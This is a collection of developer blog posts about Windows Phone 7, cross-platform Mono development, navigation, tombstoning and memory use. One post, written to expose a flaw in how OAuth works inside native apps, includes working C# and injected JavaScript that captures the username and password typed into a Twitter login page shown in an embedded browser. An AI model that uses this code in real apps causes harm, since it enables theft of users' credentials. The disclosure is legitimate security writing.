- Again, set a breakpoint after the EnumParse line to validate that this code works.

Note: You may find that your breakpoints aren’t hit for some reason. This may be because you’re running without attaching the debugger. To run with the debugger select Run > Run With > Mono Soft Debugger for iPhone

 

Android

Ok, last one. We’re going to follow basically the same process over again. Perhaps I should make a project template for this….. volunteers?

- File > Add > New Project. Select the Mono for Android Class Library from the Mono for Android node. Give your project a name, in this case BuiltToRoam.General.Android, and click OK to create the class library.

- Like we did in the iOS case: Right-click on the newly created project and click Remove. Find the project file (ie BuiltToRoam.General.Android.csproj) in Windows Explorer and move it into the shared project folder.

- Right-click the solution node in Solution Explorer and select Add > Existing Project. Locate the shared project file and click Open to add it to the solution.

- Right-click the Android application project and select Add Reference. Select the Projects tab, select the BuiltToRoam.General.Android project and add it as a reference.

- Right-click the shared project file and select Add > Existing Item. Find Utilities.cs and click Add.

- To verify that this works, add the following code to Activity1.cs

public enum AndroidEnumTest {
    First,
    Second
}

protected override void OnCreate(Bundle bundle) {
    var test = ("First").EnumParse<AndroidEnumTest>();
    ...
}

- Set a break point after the EnumParse line to verify this works.

So there you have it, the ability to share whole projects between WP7, Android and iOS. It wasn’t that hard after all.

Windows Phone 7, Android and iOS with Mono II: Basic Navigation

When I’m building a mobile application one of the first things I want to get right is the flow of navigation. My demo cross platform application is no different. So the first thing to do is to work out how each of the navigation systems work, how to control it from C# code and of course wire up a simple navigation.

Windows Phone 7

Yeh, so this one should be easy since I’m so familiar with it. Essentially the navigation model is that an application is made up of a series of pages. To proceed within the application you make a call to Navigate and supply the relative Uri of the page that you want to navigate to. When the user presses the Back button the default behaviour is for the application to return to the previous page. If they press the Back button on the first page of the application, the application will be terminated.

- Add a new page to the application (Right-click the project in Solution Explorer > Add > New Item)

image

- Select the Windows Phone Portrait Page, give it a name, SecondPage.xaml, and click OK

- Add a button to the first page of the application (ie to MainPage.xaml)
  > Double-click MainPage.xaml in solution explorer to open it
  > Find "<Grid x:Name="ContentPanel" Grid.Row="1" Margin="12,0,12,0"></Grid>” and replace with

<StackPanel x:Name="ContentPanel" Grid.Row="1" Margin="12,0,12,0">
    <Button Content="Go To Second Page"
            Click="SecondPageClick" />
</StackPanel>

- Right-click anywhere in the MainPage.xaml code/design window and select View Code

- Add the following code into the MainPage class. This is the event handler for the button you just added and causes the application to navigate to the second page.

private void SecondPageClick(object sender, RoutedEventArgs e) {
    this.NavigationService.Navigate(new Uri("/SecondPage.xaml", UriKind.Relative));
}

- F5 to run the application. Click the “Go To Second Page” button an note that a new page is displayed. Click the Back Button (bottom left of emulator) to return to the main page. Click Back again to exit the application.

image image

 

 

iOS

- Double-click MainWindow.xib to open it in Interface Builder

- From the Library window (Tools > Library if not already visible) drag a Navigation Controller element onto the MainWindow.xib

image

In order to reference this Navigation Controller from within your code you’re going to need to create an Outlet. You can think of this as a backing variable (although not strictly the same) to allow you to reference this element from code.

- In the Library window, select the Classes tab; Select AppDelegate from the list; Select Outlets from the AppDelegate sub-window.

- Click the + button, and give the new outlet a name, rootNavigation

Screen shot 2011-04-05 at 4.21.26 PM

- Lastly you need to wire the Navigation Controller to the outlet you just created. Select the App Delegate node in the MainWindow.xib window – the Inspector window (Tools > Inspector if not already visible) will update to display information about the App Delegate. Select the App Delegate Connections tab (second one from left) to display the list of outlets available and then drag the empty ring from alongside rootNavigation across onto the Navigation Controller node in MainWindow.xib.

image

We’ve wired up the navigation controller, the last thing to do in order to get the application to display something when we run it (if you recall from when we initially created this application there was nothing displayed on screen when we ran it) is to add the Navigation Controller as a sub-view of the main application window.

- Save changes in Interface Builder and return to MonoDevelop

- Open Main.cs and uncomment and update the line that starts // window.AddSubView (~line 25) to the following:

window.AddSubview(rootNavigation.View);

If you run at this point you will now see a heading of Root View Controller at the top of your application. We now need to add a button which will invoke the navigation to a new view.

- Go back to Interface Builder and find the Navigation Controller window. From the Objects tab of the Library window, drag a View object into the main area of the Navigation Controller window. The newly created View should take up the majority of the window, displacing the “View” placeholder.

- Again from the Library window, drag on a Round Rect Button. Resize the button across the top of the view area, and in the Inspector window change the Title property to read “Go To Second View”

We’ve created both the initial view and a button within the view. Now we need to be able to reference the button from code so that we can wire up an event handler to when the user taps the button. To do this we extend the view controller (if you look in the MainWindow.xib you will see that nested under the Navigation Controller node is a View Controller node) so that when an instance is created, we can wire up an event handler for the button click.

- In the MainWindow.xib window. Select the View Controlller (Root View Controller) node and then switch to the Identity tab of the Inspector window.

- Set the Class value to be MainPageController (we need to give the controller a name here so that we can write code in a code-behind file for a partial class with the same name).

- In the Library window, select the MainPageController on the Classes tab. Then select Actions from the MainPageController dropdown.

- Click the + button to create a new Action (think of actions as event handlers) and call it navigationButtonClick

Screen shot 2011-04-05 at 5.30.35 PM

- Switch over to the MainWindow.xib window; Select the Rounded Rect Button and find the Touch Down connector on the Connections tab of the Inspector window.

- Drag the circle alongside the Touch Down connector across onto the Main Page Controller node of the MainWindow.xib window. When prompted click on the navigationButtonClick action to complete the wiring up process. This has wired up the Touch Down event on the button to the navigationButtonClick action.

image

So now all we need is some code to be invoked when that action occurs. This is where Mono comes in – it’s already created a stub for us. All we need to do is to fill in the code.

- Switch back to MonoDevelop and create a new class file, MainPageController.cs, based on the Empty Class file template. Replace the contents of the file with the following.

using System;
using MonoTouch.Foundation;
using MonoTouch.UIKit;

namespace NicksNetTravelsiOS {
  public partial class MainPageController: UIViewController {
    public MainPageController (IntPtr p) : base (p) { }
 
    partial void navigationButtonClick (UIButton sender) {
    }
  }
}

Note that the MainPageController is a partial class, and the navigationButtonClick method is a partial method. The class and method definitions are in the MainWindow.xib.designer.cs file and are automatically generated by MonoDevelop (don’t hack around in the designer generated files!!!)

Ok, to round out this we’re going to need another view to switch in when the button is clicked

- In MonoDevelop select File > New > File; Select the iPhone View with Controller template; give it a name, SecondPageController and click New.

- Open the MainPageController.cs file and modify the navigationButtonClick event handler you created earlier.

private SecondPageController secondPage;
partial void navigationButtonClick (UIButton sender) {
  if(secondPage==null){
    this.secondPage = new SecondPageController();
  }

this.NavigationController.PushViewController(secondPage,true);
}

- Build and run this and when you click on the button, the second view will animate in.

Screen shot 2011-04-05 at 5.50.06 PM Screen shot 2011-04-05 at 5.50.15 PM

 

 

Android

The initial application that we created already comes with a button on the first view in the application. All we need to do is add a second view and navigate to it. Ok, just to be clear on the terminology here: In an Android application there are views and activities – and you should think of them in the context that an activity manages the current view and that you can either transition views within the current activity, or you can transition between activities. In this case we’re actually going to do the latter which will involve creating both an additional activity and a corresponding additional view.

- In the Solution Explorer window, right click on the Layout node; Select Add > New Item; Select the View template and give it a name, SecondPage; Click Add

- Next we need to add an additional activity, so right-click the project node and select Add > New Item; Select the Activity template and give it a name, Activity2

- Update the Activity2 class in Activity2.cs as follows. This sets the SecondPage view as the current view for Activity2

[Activity(Label = "My Activity")]
public class Activity2 : Activity
{
protected override void OnCreate(Bundle bundle){
base.OnCreate(bundle);     SetContentView(Resource.Layout.SecondPage);   }
}
 

- The last thing to do is to add the navigation from Activity1 to Activity2, which is in Activity1.cs. Change the delegate for the Click event to the following:

button.Click += delegate { StartActivity(typeof(Activity2)); };
 

- Press F5 to build and run

image image

 

And there you have it – basic navigation across all three platforms. Not that they all use slightly different conventions but all support some level of “back” operation. On Windows Phone 7 it’s a dedicated hardware back button, Android has a back button in the on screen menu area (or I believe it can be a hardware button) and iOS has it as part of the navigation controller on screen infrastructure.

Windows Phone 7, Android and iOS with Mono I: Getting Started

Over the past couple of months I’ve been thinking more about how to share resources between applications written for WP7, Android and iOS. Increasingly companies that I consult with are asking how they can build an application once and have it run across multiple platforms. My belief is that this isn’t easily achievable and even if it is would lead to a poor user experience on one or  more platforms.

The reality is that whilst functionality the platforms all offer similar capabilities and services, they don’t all share the same user experience. This means that we’d want to be able to customise how our applications look and behave on the different platforms. Enter the world of Mono.

MonoTouch and MonoDroid not only allow you to write c# code to address iOS and Android respectively, they also provide wrappers for a large proportion of the core apis and controls. Essentially this means that I could write my business logic once in C# and then have the UI component done in a way that is native to the platform I’m targeting. With iOS this would be via Interface Builder, WP7 using Blend and then for Android my understanding is that I’m left writing UI markup in XML (how surprising….).

In this series I’m going to try to share some of the pain/success/difficulties I experience in building the same application across three platforms.

Let’s get started, so what do we need:

Development and Design Tools

Windows Phone 7

- Development tools (Free): Visual Studio 2010 + Expression Blend (http://create.msdn.com)
- Register for developer program/marketplace ($100AUD): Register

iOS

- Note: Make sure you following the instructions on the MonoTouch website re installation
- Development tools (Free): XCode + Interface Builder (http://developer.apple.com/devcenter/ios)
- MonoTouch ($399USD):  http://monotouch.net/
- Register for developer program/app store ($99USD): Register

Android

- Note: Make sure you following the instructions on the MonoDroid website re installation
- Development tools (Free): Java JDK, Android SDK
- MonoDroid (public beta): monodroid-download
- Register for developer program/market ($25USD): Register

Don’t forget for the iOS component you’re going to need to go buy a Mac to use.

First Applications

 

Windows Phone 7

- Launch Visual Studio 2010

- File > New > Project
  > Select Windows Phone Application template under Silverlight for Windows Phone node
  > Enter name of project: NicksNetTravels
  > Click Ok

image

- Make sure Windows Phone Emulator is selected as deployment device (in Standard toolbar)

- F5 to build and run. This will launch the Windows Phone 7 Emulator, deploy the app to it and run it.

image

 

iOS

- Launch MonoDevelop

- File > New > Solution
  > Select  iPhone Window-Based Project under the iPhone and iPad node
  > Enter name of solution: NicksNetTravelsiOS (my applications are going to reside in the same folder, so it’s important that they are named slightly differently).

Screen shot 2011-04-05 at 3.16.50 PM

- (Apple key, or Windows key if using an MS keyboard) + Alt + Enter – build and run application. This will launch the simulator, deploy and run the application

Screen shot 2011-04-05 at 3.23.06 PM

Android

- Launch Visual Studio 2010

- File > New > Project
> Select Mono for Android Application template under Mono for Android node
> Enter name of project: NicksNetTravelsAndroid
> Click Ok

image

- F5 to build and run. This will launch the “Select Device” window.

image

- Click “Start emulator image”

image

- Click OK to launch the MonoDroid emulator (this should have been created during installation – see MonoDroid installation instructions. If not, you’ll just need to follow those instructions now by clicking the Create new emulator image link).

Note: The first time I did this the process failed with some cryptic error. I pressed F5 again, selected the existing emulator instance and it seemed to work fine.

image

Hack: OAuth security flaw for Windows Phone 7, iPhone and other Mobile platforms

If you’ve ever had to work with one of the multitude of social networking sites out there (eg Facebook or Twitter) you’d be familiar with Oauth (official documentation is http://oauth.net/ but most sites have their own documentation too). For integrating these sites into a website Oauth seems to be relatively secure. There are a couple of implementations: OAuth 1, which Twitter currently uses which is a royal pain to implement, and then OAuth 2, which Facebook uses. What I’m going to show in this post is just how dangerous OAuth is for rich client applications (ie native applications for desktop and for most mobile platforms).

The original intent behind OAuth was good and noble. It stems from the lack of trust that users have for websites that prompt for a set of credentials that they don’t manage. For example if DodgyWebSite43.com asked for your Facebook credentials you won’t enter them would you! So the idea is to send the user off to Facebook to authenticate; once authenticated the user is returned to the original website along with a token that indicates they’re authenticated.

For rich client applications (in this example I’ll use a Windows Phone 7 application but the point I’m making is in no way an issue with the platform, rather than with OAuth as a protocol) the idea is that you display a web browser control (UIWebView if you’re in iOS-land) and direct the user to sign into the social network of your choice. Once they’re signed in the host application can extract the authenticated token. Again, the idea is that the application isn’t requesting the user’s credentials. In fact, the application shouldn’t be able to access the user’s credentials at any point in the process.

This is where things start to go pair-shaped. Nearly every rich client platform which has a web browser control that can be used to render web content within an application, also allows the host application to interact with the content. In most cases this can be used to invoke javascript. With some relatively basic manipulation of the HTML DOM you can easily, and I mean easily, extract any data that the user enters.

I’ll step through how I did this in my Windows Phone 7 application:

Step 1: Create the UI – some basic XAML to display a WebBrowser control

<phone:WebBrowser x:Name="Browser"
                     ScriptNotify="Browser_ScriptNotify"
                     IsScriptEnabled="True"
                     LoadCompleted="Browser_LoadCompleted" />
 

Notes: I’ve enabled scripts by setting IsScriptEnabled to true. I’ve attached an event handler to the LoadCompleted event; this will allow me to interact with the DOM once the page has rendered. I’ve also attached a handler to the ScriptNotify event; this will allow me to send data from javascript back out to the host application.

Step 2: Navigate to the login screen

void MainPage_Loaded(object sender, RoutedEventArgs e)
{     // Facebook OAuth login: eg http://www.facebook.com/dialog/oauth/?response_type=token...
     // Twitter login: eg mobile.twitter.com/session/new
     this.Browser.Navigate(new Uri("http://mobile.twitter.com/session/new"));
}
 

image

Notes: Running this you’ll see that the browser navigates to the Twitter sign in page – at this point the user is entering their credentials into the Twitter site. However, what they don’t realise is that the application could be sniffing the data they enter.

Step 3: Inject some Javascript

private void Browser_LoadCompleted(object sender, System.Windows.Navigation.NavigationEventArgs e)
{     try
     {
         Browser.InvokeScript("eval", "(function(){" +
             // Find all the input fields
             "var fields = document.getElementsByTagName('input');" +
             // Iterate through looking for text and password fields
             "for(var j=0;j<fields.length;j++){" +
                     "if(fields[j].type=='text' || fields[j].type=='password'){ " +
                         // Attach event handlers to retrieve the changed values
                         "fields[j].attachEvent('onchange',function(e){" +
                             "setTimeout('(function(){window.external.notify(\"' + e.srcElement.value + '\");})()',50);" +
                         "});" +
                 "}} " +
             "})()");
     }     catch     {     }
}
 

Notes: This block of code calls the javascript eval method, passing in a parameter that defines an entire javascript function. eval will interprete and execute that function; this pretty much allows you to run any javascript code you want. Hopefully the comments in the javascript should be enough for you to work out what it does up until the setTimeout method.

The window.external.notify javascript method is how we send data from javascript back out to the host wp7 application. When this method is invoked, it raises the ScriptNotify event on the WebBrowser control, passing the method parameter out into the event handler.

You might be asking why we don’t call window.external.notify directly at this point. Unfortunately if you do that you’ll never see the ScriptNotify event raised. I suspect that this is some sort of conflict occurring on the UI thread – essentially the onchange event is getting raised in javascript due to some UI event from the user (eg moving between fields); this in turn is trying to raise the ScriptNotify event on the UI thread of the browser, which is currently locked. Anyhow, we get around this by effectively delaying the window.external.notify method call by 50 milliseconds.

Step 4: User enters username and password

Notes: After each value is entered the ScriptNotify event is raised, passing out the data entered

Step 5: Extract the data returned from javascript

private void Browser_ScriptNotify(object sender, NotifyEventArgs e)
{     // Extract the exported data
     var txt = e.Value;
}
 

Notes: The variable txt holds the exported value from the text or password input field. The application can then do what it likes with those details.

 

When I run this application and enter values, each field I enter text into is exported (see the list of data values below the WebBrowser).

image

I’ve included this as a working example (don’t forget to unblock the file when you download it):

As you can see it is super easy for a rich client application to effectively steal user’s credentials whilst they are logging in via a WebBrowser control. The moral of this story is that OAuth should not be used for rich client applications and that the social networking sites need to mature and offer a secure mechanism for rich client applications to authenticate against their services without those applications accessing the users credentials directly.

Windows Phone 7 LG App Starter Competition: Winners Announced

Firstly, a massive congratulations to everyone who entered both the preliminary concept rounds and the final application round of the Windows Phone 7 LG App Starter Competition. The submissions were all of a very high standard and it is fantastic to see so many applications making use of both device features and the Windows Phone 7 metro interface design and controls.

I’ve already sent out books to the winners for the concept rounds, as some of these concepts aren’t available in the Marketplace yet I won’t publish the details of those ideas/apps. If you were one of the winners and want to be recognised, please feel free to comment on this post and provide a link to your application in the Marketplace.

Unfortunately there is only one winner for the LG Optimus 7 device and it goes to….. Clinton Cherry of Cherry Byte Software with his app, Super Size Me.

image

I love the awesome graphics in this application. Every thing from the start tile (which uses transparency to take advantage of the user selected accent colour) to the background image of the panorama, has been well designed. Some might find the over-the-top use of colours offensive but I think it makes this app eye catching. The additional use of animations and transitions makes for great user experience.

Ok, so if you didn’t win, here are a few pointers:

- Speed Matters: Everything from the load time of the application through to how your application responds when the user clicks on an element needs to be tweaked for performance. It’s really easy to build an application that is laggy or doesn’t respond to the user. Make use of background threads for processing and work with the performance metrics to get an idea of how your application will perform.

- Tombstoning: PLEASE READ THIS POST (Windows Phone 7- Tombstone Frustration), and if tombstoning still doesn’t make sense, feel free to contact me. I’d be happy to go through this feature with you to ensure it’s done correctly.

- Consistency: Read and re-read all of the information about the Metro user experience introduced with Windows Phone 7. Think about how these concepts can be applied to your application. Space things out, use consistent colours and fonts, and make use of the standard or toolkit controls.

- Workflow: Put yourself in the position of the user and walk through how the application is going to be used. Firstly, as a brand new user and then as a seasoned user. These two scenarios are key to retaining users.

Windows Phone 7: Tombstone Frustration

Peter Torr has opened a can of worms by requesting feedback on Tombstoning within Windows Phone 7. Conceptually this isn’t a particularly difficult concept – when your application goes into the background there is a chance that the operating system will terminate the process in order to reclaim system resources. Unfortunately the current implementation in Windows Phone 7 has lead to a lot of confusion. Developers don’t know when their application is going to be terminated, restarted, suspended or resumed. As such they’re using trial and error to attempt to predict when their application is going to be terminated. Let’s start with a couple of examples to illustrate this point.

Scenario 1: Application is not terminated
- User starts an application
- User clicks the start button
- User clicks the back button, returning to the same instance of the application

Scenario 2: Application is terminated (tombstoned) and then restarted
- User starts an application
- User clicks the start button
- User clicks on another application (this will terminate the running instance of the first application)
- User clicks the back button (this will terminate the second application, returning the user to Start)
- User clicks the back button again (this will launch a new instance of the first application)

At the moment the behaviour of WP7 is fairly deterministic, which means that with enough trial and error you can determine all of the scenarios under which your application will be tombstoned or not. However, the premise of the model is that your application could be tombstoned at any stage whilst it is in the background to allow the operaing system to reclaim resources. I think it was one of the earliest CTPs of WP7 that actually behaved this way and it was only in the beta where a more deterministic model was imposed. The upshot of this is that you need to anticipate that your application will be tombstoned when it goes into the background. This is NOT to say that you should assume it has been tombstoned, you just need to code for the case where it is tombstoned.

Ok, so how do we deal with tombstoning…. Again, Peter Torr has a couple of things to say about this in his post on handling activating and deactivating events. In this post Peter discusses the different sequence of events that happens when an application is tombstoned v’s the sequence that happens when it is not. Let me reproduce them again here for your pleasure:

Tombstone Case (typical)

  1. Current page gets OnNavigatedFrom
  2. Application gets Deactivated
  3. Process dies
  4. Process starts
  5. Application gets constructed
  6. Application gets Activated
  7. Current page gets constructed
  8. Current page gets OnNavigatedTo

Non-Tombstone Case (Start -> Back)

  1. Current page gets OnNavigatedFrom
  2. Application gets Deactivated
  3. Application gets Activated
  4. Current page gets OnNavigatedTo

Now, since you want to be able to handle both scenarios it would make sense to only work with events/method calls that happen in both cases. The intersection of these two scenarios actually coincides with the Non-tombstone case where there are OnNavigatedFrom, Deactivated, Activated and OnNavigatedTo events/methods. These are the points where you should be doing ALL transient data persistence and restoration.

“Transient data”….. please define! Ok, I typically think of two different types of data within an application. There is persistent data, which is any data the user has saved or that should survive multiple instances of an app (for example a document that the user saves would be persistent data because they’d expect it to be there the next time they run the app). Then there is transient data, which is any information that the user has entered but hasn’t been saved (for example form fields that have been completed but the form hasn’t been submitted). The user would expect transient information to survive through the lifetime of the page. By this I mean that if they navigate off to another application and then return to the original app the transient data would still be on the page. Conversely if they close the page by navigating using the Back button, they’d expect that data to be lost. Similarly if they restarted the app from the Start they would not expect the data to still be there.

So this bodes the question, how do we persist transient data? If we saved it to isolated storage then it’s going to behave like persistent data. Luckily Windows Phone 7 has a solution in the form of both application and page level state dictionaries. When an application is launched these dictionaries are empty. You can populate these dictionaries with data (key value pairs) and the data will survive tombstoning. The only difference between the application level dictionary and the page level dictionaries are that the page dictionaries only last the lifecycle of the page. When the use clicks the back button to close a page, the associated state dictionary is destroyed.

Ok, so that’s starting to make sense, but where’s the best place to save transient state? The answer to this is based on the lifecycle of the data itself. You may have data that is used application wide, in this case you’ll want to persist and restore this data in the application state dictionary in the Deactivated and Activated events. Alternatively, any data that is page specific should be persisted and restored in the state dictionary for that page in the OnNavigatedFrom and OnNavigatedTo methods.

Example time…..

Application Wide Transient State

public string ApplicationWideData { get; set; }
private void Application_Activated(object sender, ActivatedEventArgs e)
{
    object stateData;
    if (PhoneApplicationService.Current.State.TryGetValue("AppWideData", out stateData))
    {
        ApplicationWideData = stateData as string;
    }
}

private void Application_Deactivated(object sender, DeactivatedEventArgs e)
{
    Debug.WriteLine("Application Deactivated");
    PhoneApplicationService.Current.State["AppWideData"] = ApplicationWideData;
}

 

Page Transient State

protected override void OnNavigatedFrom(System.Windows.Navigation.NavigationEventArgs e)
{
    base.OnNavigatedFrom(e);

    this.State["PageData"] = PageData;

    Debug.WriteLine("(Main Page) Navigated From");
}

protected override void OnNavigatedTo(System.Windows.Navigation.NavigationEventArgs e)
{
    base.OnNavigatedTo(e);

    Debug.WriteLine("(Main Page) Navigated To");

    object stateData;
    if (this.State.TryGetValue("PageData", out stateData))
    {
        PageData = stateData as string;
    }
}

In most cases you’re going to want to persist transient information about the page. You should develop pages so that they don’t rely on any page being created or loaded prior to them. Doing this, and making use of the page state dictionary, is by far the easiest way to handle the challenges associated with tombstoning.

Windows Phone 7 LG App Starter: Almost Over…

Don’t forget we’re into the final week of the Windows Phone 7 LG App Starter Competition. All submissions need to be in by 6pm this coming Sunday (6pm EST Sunday 27th February). For full competition details see Competition time for Australian Windows Phone 7 Developers

This is your opportunity to win an LG Optimus 7 device!

Also, don’t forget to enter the Windows Phone 7 App Challenge- yes, you can enter both with the same app!

Windows Phone 7: Translator Sample, an example in what not to do!

I’ve posted about this before but now I feel the urge to say it again following the Real Apps, Real Codepost by Mark Hopkins (by the way I actually think this post and the use of samples is fantastic, I just like this example).

If you look at the Translator Starter Kit section there is a link to the Translator Starter Kit topic. Here the guidance suggests that you should get an AppID and add it into your application.

image

Surely they can’t be serious – DO NOT PUT APPLICATION KEYS INTO THE APPLICATION ITSELF. Application Keys/Ids are a web construct and work well when they’re in a configuration file on a server. If someone gets access to them then you’ve got bigger concerns than whether they’re going to be using your app key for some malicious purpose.

With an app key/id placed within your Windows Phone 7 application it’s about a 2 minute job for anyone with Fiddler and Reflector (after coughing up $35 to Redgate – talk about bad form!!!) to extract your Application key/id.

Unfortunately there is no holy grail for how you should deal with app key/ids. Some solutions rely on them being placed on a server and then retrieved when the application is run; some solutions distribute parts of the app key/id throughout the application, making it hard for someone to extract it. Essentially it comes down to security by obscurity which is not a great position to be in. When will the industry learn that app keys/ids are not the answer.

Windows Phone 7 Navigation Memory Usage Just Got Scary

In my previous post I showed a couple of graphs of memory usage with some basic pages within a Windows Phone 7 application. Now I’ve started adding some content to the pages. First up I’ve added a single button to the second page:

<phone:PhoneApplicationPage x:Class="OptimisePerformance.SecondPage"
                            xmlns="
http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns:phone="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone">
    <Button />
</phone:PhoneApplicationPage>

Let’s see what happens….

image

- 2 Pages w Button (iterative): Iterative navigation between the MainPage and the second page every approx 6 seconds.

- 2 Pages w Button (iterative) (GC): Same again but this time GC.Collect is called before retrieving memory usage information

Now this is somewhat scary. Notice that when GC.Collect is called the memory usage is pretty much as you would expect. As you navigate to a page, memory usage goes up; As you go back to the MainPage the memory is reduced; Overall no memory usage increate. Unfortunately this is not the case if you don’t call GC.Collect. It appears that memory usage (both max and current) progressively increases over time. It does kind of hit a ceiling but it’s significantly higher than even the memory usage when the second page is displayed.

This backs up my previous post when I hinted that you may want to selectively call GC.Collect to free up memory.

**Note: I’m not sure what the sudden drop in the current memory usage for when GC.Collect wasn’t being called. This is probably just an anomaly of the way the data is being recorded.